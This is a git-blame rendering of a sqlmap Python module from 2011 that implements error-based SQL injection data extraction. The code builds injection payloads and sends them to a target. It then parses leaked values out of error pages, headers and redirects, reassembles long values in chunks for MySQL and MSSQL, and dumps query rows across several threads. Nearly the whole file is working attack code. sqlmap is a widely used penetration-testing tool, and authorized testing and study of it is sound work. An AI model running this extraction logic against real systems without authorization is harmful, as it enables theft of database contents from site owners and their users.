2010-10-20 13:09:04 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
$Id$
|
|
|
|
|
2011-04-15 16:33:18 +04:00
|
|
|
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-20 13:09:04 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
2011-05-30 03:17:50 +04:00
|
|
|
import threading
|
2010-10-20 13:09:04 +04:00
|
|
|
import time
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2011-01-31 15:21:17 +03:00
|
|
|
from lib.core.common import Backend
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.common import calculateDeltaSeconds
|
|
|
|
from lib.core.common import dataToSessionFile
|
2011-02-12 23:03:28 +03:00
|
|
|
from lib.core.common import dataToStdout
|
2010-12-06 10:48:14 +03:00
|
|
|
from lib.core.common import extractRegexResult
|
2011-03-22 12:22:48 +03:00
|
|
|
from lib.core.common import getUnicode
|
2010-12-18 12:51:34 +03:00
|
|
|
from lib.core.common import initTechnique
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.common import isNumPosStrValue
|
2011-01-31 15:21:17 +03:00
|
|
|
from lib.core.common import listToStrValue
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.common import replaceNewlineTabs
|
|
|
|
from lib.core.common import safeStringFormat
|
2011-03-21 02:16:34 +03:00
|
|
|
from lib.core.convert import htmlunescape
|
2011-04-14 13:31:45 +04:00
|
|
|
from lib.core.convert import safecharencode
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.enums import EXPECTED
|
2010-12-15 14:21:47 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2011-04-15 18:15:29 +04:00
|
|
|
from lib.core.exception import sqlmapConnectionException
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.core.settings import FROM_TABLE
|
2011-02-08 19:23:33 +03:00
|
|
|
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
|
2011-05-03 17:25:20 +04:00
|
|
|
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
|
2011-05-19 20:45:05 +04:00
|
|
|
from lib.core.settings import SQL_SCALAR_REGEX
|
2011-04-22 23:58:10 +04:00
|
|
|
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
|
2011-03-17 12:12:28 +03:00
|
|
|
from lib.core.threads import getCurrentThreadData
|
2011-05-30 03:17:50 +04:00
|
|
|
from lib.core.threads import runThreads
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
2011-01-19 02:02:11 +03:00
|
|
|
from lib.utils.resume import resume
|
2010-10-20 13:09:04 +04:00
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
reqCount = 0
|
2010-10-25 18:11:47 +04:00
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
def __oneShotErrorUse(expression, field):
|
|
|
|
global reqCount
|
2010-12-18 12:51:34 +03:00
|
|
|
|
2011-03-17 12:12:28 +03:00
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
|
2011-02-08 19:23:33 +03:00
|
|
|
retVal = None
|
2011-02-08 19:27:58 +03:00
|
|
|
offset = 1
|
2011-05-03 17:25:20 +04:00
|
|
|
chunk_length = None
|
2011-02-08 19:23:33 +03:00
|
|
|
|
|
|
|
while True:
|
|
|
|
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
|
2011-04-20 16:41:58 +04:00
|
|
|
trimcheck = "%s(?P<result>.*?)</" % (kb.misc.start)
|
|
|
|
|
2011-02-08 19:23:33 +03:00
|
|
|
nulledCastedField = agent.nullAndCastField(field)
|
2011-02-08 19:30:32 +03:00
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
if Backend.isDbms(DBMS.MYSQL):
|
2011-05-03 17:25:20 +04:00
|
|
|
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
|
|
|
|
nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length)
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
|
|
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
|
|
|
|
nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length)
|
2011-02-08 19:23:33 +03:00
|
|
|
|
|
|
|
# Forge the error-based SQL injection request
|
|
|
|
vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
|
|
|
|
query = agent.prefixQuery(vector)
|
|
|
|
query = agent.suffixQuery(query)
|
|
|
|
injExpression = expression.replace(field, nulledCastedField, 1)
|
|
|
|
injExpression = unescaper.unescape(injExpression)
|
|
|
|
injExpression = query.replace("[QUERY]", injExpression)
|
|
|
|
payload = agent.payload(newValue=injExpression)
|
|
|
|
|
|
|
|
# Perform the request
|
|
|
|
page, headers = Request.queryPage(payload, content=True)
|
2011-03-17 12:12:28 +03:00
|
|
|
|
2011-02-08 19:23:33 +03:00
|
|
|
reqCount += 1
|
|
|
|
|
|
|
|
# Parse the returned page to get the exact error-based
|
|
|
|
# sql injection output
|
2011-06-02 02:06:06 +04:00
|
|
|
output = reduce(lambda x, y: x if x is not None else y, [ \
|
|
|
|
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
|
|
|
|
extractRegexResult(check, listToStrValue(headers.headers \
|
|
|
|
if headers else None), re.DOTALL | re.IGNORECASE), \
|
|
|
|
extractRegexResult(check, threadData.lastRedirectMsg[1] \
|
2011-03-17 12:12:28 +03:00
|
|
|
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
2011-06-02 02:06:06 +04:00
|
|
|
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
|
|
|
|
None)
|
2011-02-08 19:23:33 +03:00
|
|
|
|
2011-06-02 02:06:06 +04:00
|
|
|
if output is not None:
|
2011-03-22 15:21:56 +03:00
|
|
|
output = getUnicode(output, kb.pageEncoding)
|
2011-04-20 16:41:58 +04:00
|
|
|
else:
|
|
|
|
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
|
|
|
|
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
|
|
|
|
if headers else None), re.DOTALL | re.IGNORECASE) \
|
|
|
|
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
|
|
|
|
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
|
|
|
|
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
|
|
|
|
|
|
|
if trimmed:
|
2011-04-21 14:17:41 +04:00
|
|
|
warnMsg = "possible server trimmed output detected (due to its length): "
|
2011-04-20 16:41:58 +04:00
|
|
|
warnMsg += trimmed
|
|
|
|
logger.warn(warnMsg)
|
2011-03-22 12:22:48 +03:00
|
|
|
|
2011-05-03 17:25:20 +04:00
|
|
|
if any(map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])):
|
2011-02-08 19:23:33 +03:00
|
|
|
if offset == 1:
|
|
|
|
retVal = output
|
|
|
|
else:
|
|
|
|
retVal += output if output else ''
|
|
|
|
|
2011-05-03 20:14:03 +04:00
|
|
|
if output and len(output) >= chunk_length:
|
2011-05-03 17:25:20 +04:00
|
|
|
offset += chunk_length
|
2011-05-03 20:14:03 +04:00
|
|
|
else:
|
|
|
|
break
|
2011-02-08 19:23:33 +03:00
|
|
|
else:
|
|
|
|
retVal = output
|
|
|
|
break
|
2010-10-26 13:33:18 +04:00
|
|
|
|
2011-05-04 01:12:51 +04:00
|
|
|
if isinstance(retVal, basestring):
|
|
|
|
retVal = htmlunescape(retVal).replace("<br>", "\n")
|
|
|
|
|
2011-03-21 16:13:12 +03:00
|
|
|
retVal = __errorReplaceChars(retVal)
|
|
|
|
|
2011-02-08 19:23:33 +03:00
|
|
|
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal)))
|
2010-10-20 13:09:04 +04:00
|
|
|
|
2011-02-08 19:23:33 +03:00
|
|
|
return retVal
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
|
|
|
|
outputs = []
|
|
|
|
origExpr = None
|
|
|
|
|
|
|
|
for field in expressionFieldsList:
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if field.startswith("ROWNUM "):
|
|
|
|
continue
|
|
|
|
|
|
|
|
if isinstance(num, int):
|
|
|
|
origExpr = expression
|
2011-02-07 19:24:23 +03:00
|
|
|
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if "ROWNUM" in expressionFieldsList:
|
|
|
|
expressionReplaced = expression
|
|
|
|
else:
|
|
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
|
|
|
|
|
|
|
if resumeValue:
|
|
|
|
output = resume(expressionReplaced, None)
|
|
|
|
|
|
|
|
if not output or (expected == EXPECTED.INT and not output.isdigit()):
|
|
|
|
if output:
|
|
|
|
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
|
|
|
|
warnMsg += "sqlmap is going to retrieve the value again"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
output = __oneShotErrorUse(expressionReplaced, field)
|
2011-02-01 00:13:29 +03:00
|
|
|
|
2011-05-30 18:49:03 +04:00
|
|
|
if not kb.threadContinue:
|
|
|
|
return None
|
|
|
|
|
2011-02-01 00:13:29 +03:00
|
|
|
if output is not None:
|
2011-05-30 03:17:50 +04:00
|
|
|
kb.locks.ioLock.acquire()
|
2011-04-14 13:43:36 +04:00
|
|
|
dataToStdout("[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), safecharencode(output)))
|
2011-05-30 03:17:50 +04:00
|
|
|
kb.locks.ioLock.release()
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if isinstance(num, int):
|
|
|
|
expression = origExpr
|
|
|
|
|
2011-02-09 12:53:59 +03:00
|
|
|
outputs.append(output)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
return outputs
|
|
|
|
|
2011-03-21 16:13:12 +03:00
|
|
|
def __errorReplaceChars(value):
|
|
|
|
"""
|
|
|
|
Restores safely replaced characters
|
|
|
|
"""
|
|
|
|
|
|
|
|
retVal = value
|
|
|
|
|
|
|
|
if value:
|
|
|
|
retVal = retVal.replace(kb.misc.space, " ").replace(kb.misc.dollar, "$")
|
|
|
|
|
|
|
|
return retVal
|
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query taking advantage of the error-based
|
|
|
|
SQL injection vulnerability on the affected parameter.
|
|
|
|
"""
|
|
|
|
|
|
|
|
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
global reqCount
|
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
count = None
|
|
|
|
start = time.time()
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = None
|
|
|
|
outputs = []
|
|
|
|
untilLimitChar = None
|
|
|
|
untilOrderChar = None
|
|
|
|
reqCount = 0
|
|
|
|
|
|
|
|
if resumeValue:
|
|
|
|
output = resume(expression, None)
|
|
|
|
else:
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
|
|
|
|
return output
|
|
|
|
|
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
|
|
|
|
|
|
|
# We have to check if the SQL query might return multiple entries
|
|
|
|
# and in such case forge the SQL limiting the query output one
|
|
|
|
# entry per time
|
|
|
|
# NOTE: I assume that only queries that get data from a table can
|
|
|
|
# return multiple entries
|
2011-02-02 01:07:42 +03:00
|
|
|
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
|
|
|
|
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
|
|
|
|
or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
|
|
|
|
expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
|
2011-03-23 14:36:40 +03:00
|
|
|
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
|
2011-05-19 20:45:05 +04:00
|
|
|
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
2011-02-02 01:07:42 +03:00
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
2011-01-19 02:02:11 +03:00
|
|
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
|
|
|
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
2011-01-19 02:02:11 +03:00
|
|
|
if limitRegExp:
|
2011-01-28 19:36:09 +03:00
|
|
|
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
2011-01-19 02:02:11 +03:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif topLimit:
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = int(topLimit.group(1))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.ORACLE):
|
2011-01-19 02:02:11 +03:00
|
|
|
limitCond = False
|
|
|
|
else:
|
|
|
|
limitCond = True
|
|
|
|
|
|
|
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
|
|
|
# (or similar depending on the back-end DBMS) can return
|
|
|
|
# multiple entries
|
|
|
|
if limitCond:
|
|
|
|
if limitRegExp:
|
|
|
|
stopLimit = int(stopLimit)
|
|
|
|
|
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
|
|
# (or similar, depending on the back-end DBMS) word
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
2011-01-19 02:02:11 +03:00
|
|
|
stopLimit += startLimit
|
2011-01-28 19:36:09 +03:00
|
|
|
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
2011-01-19 02:02:11 +03:00
|
|
|
expression = expression[:untilLimitChar]
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
2011-01-19 02:02:11 +03:00
|
|
|
stopLimit += startLimit
|
|
|
|
elif dump:
|
|
|
|
if conf.limitStart:
|
|
|
|
startLimit = conf.limitStart
|
|
|
|
if conf.limitStop:
|
|
|
|
stopLimit = conf.limitStop
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
# Count the number of SQL query entries output
|
2011-03-11 19:03:19 +03:00
|
|
|
countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
if re.search(" ORDER BY ", expression, re.I):
|
|
|
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
|
|
|
countedExpression = countedExpression[:untilOrderChar]
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
count = resume(countedExpression, None)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
if not count or not count.isdigit():
|
|
|
|
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
|
|
|
|
count = __oneShotErrorUse(countedExpression, countedExpressionFields)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-05-12 15:52:18 +04:00
|
|
|
if isNumPosStrValue(count):
|
2011-02-02 01:07:42 +03:00
|
|
|
if isinstance(stopLimit, int) and stopLimit > 0:
|
|
|
|
stopLimit = min(int(count), int(stopLimit))
|
|
|
|
else:
|
|
|
|
stopLimit = int(count)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
infoMsg = "the SQL query used returns "
|
|
|
|
infoMsg += "%d entries" % stopLimit
|
|
|
|
logger.info(infoMsg)
|
2011-02-01 00:13:29 +03:00
|
|
|
|
2011-05-12 15:52:18 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "it was not possible to count the number "
|
|
|
|
warnMsg += "of entries for the used SQL query. "
|
|
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
|
|
warnMsg += "one entry"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
stopLimit = 1
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
try:
|
2011-06-07 21:16:01 +04:00
|
|
|
threadData = getCurrentThreadData()
|
2011-06-21 22:29:23 +04:00
|
|
|
threadData.shared.limits = range(startLimit, stopLimit)
|
2011-06-21 22:08:33 +04:00
|
|
|
numThreads = min(conf.threads, len(threadData.shared.limits))
|
2011-06-07 21:16:01 +04:00
|
|
|
threadData.shared.outputs = []
|
|
|
|
|
2011-04-22 23:58:10 +04:00
|
|
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
|
|
|
kb.suppressResumeInfo = True
|
2011-06-18 15:58:14 +04:00
|
|
|
debugMsg = "suppressing possible resume console info because of "
|
|
|
|
debugMsg += "large number of rows. It might take too long"
|
|
|
|
logger.debug(debugMsg)
|
2011-04-22 23:58:10 +04:00
|
|
|
|
2011-05-30 03:17:50 +04:00
|
|
|
lockNames = ('limits', 'outputs')
|
|
|
|
for lock in lockNames:
|
|
|
|
kb.locks[lock] = threading.Lock()
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-05-30 03:17:50 +04:00
|
|
|
def errorThread():
|
2011-06-07 13:50:00 +04:00
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
|
|
|
|
while kb.threadContinue:
|
|
|
|
kb.locks.limits.acquire()
|
|
|
|
if threadData.shared.limits:
|
|
|
|
num = threadData.shared.limits[-1]
|
|
|
|
del threadData.shared.limits[-1]
|
|
|
|
kb.locks.limits.release()
|
|
|
|
else:
|
|
|
|
kb.locks.limits.release()
|
|
|
|
break
|
|
|
|
|
|
|
|
output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
|
|
|
|
|
|
|
|
if not kb.threadContinue:
|
|
|
|
break
|
|
|
|
|
|
|
|
if output and isinstance(output, list) and len(output) == 1:
|
|
|
|
output = output[0]
|
|
|
|
|
|
|
|
kb.locks.outputs.acquire()
|
|
|
|
threadData.shared.outputs.append(output)
|
|
|
|
kb.locks.outputs.release()
|
2011-05-30 03:17:50 +04:00
|
|
|
|
|
|
|
runThreads(numThreads, errorThread)
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
except KeyboardInterrupt:
|
2011-04-06 18:40:45 +04:00
|
|
|
warnMsg = "user aborted during enumeration. sqlmap "
|
2011-03-31 18:13:53 +04:00
|
|
|
warnMsg += "will display partial output"
|
2011-02-02 01:07:42 +03:00
|
|
|
logger.warn(warnMsg)
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-04-15 18:15:29 +04:00
|
|
|
except sqlmapConnectionException, e:
|
|
|
|
errMsg = "connection exception detected. sqlmap "
|
|
|
|
errMsg += "will display partial output"
|
|
|
|
errMsg += "'%s'" % e
|
|
|
|
logger.critical(errMsg)
|
|
|
|
|
2011-04-22 23:58:10 +04:00
|
|
|
finally:
|
2011-06-07 21:16:01 +04:00
|
|
|
outputs = threadData.shared.outputs
|
2011-04-22 23:58:10 +04:00
|
|
|
kb.suppressResumeInfo = False
|
|
|
|
|
2011-02-01 00:13:29 +03:00
|
|
|
if not outputs:
|
|
|
|
outputs = __errorFields(expression, expressionFields, expressionFieldsList)
|
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
|
2011-02-01 00:13:29 +03:00
|
|
|
outputs = outputs[0]
|
2011-01-19 02:02:11 +03:00
|
|
|
|
2011-02-02 01:07:42 +03:00
|
|
|
duration = calculateDeltaSeconds(start)
|
|
|
|
|
2011-04-08 15:02:21 +04:00
|
|
|
if not kb.bruteMode:
|
|
|
|
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
|
|
|
logger.debug(debugMsg)
|
2011-02-02 01:07:42 +03:00
|
|
|
|
2011-01-19 02:02:11 +03:00
|
|
|
return outputs
|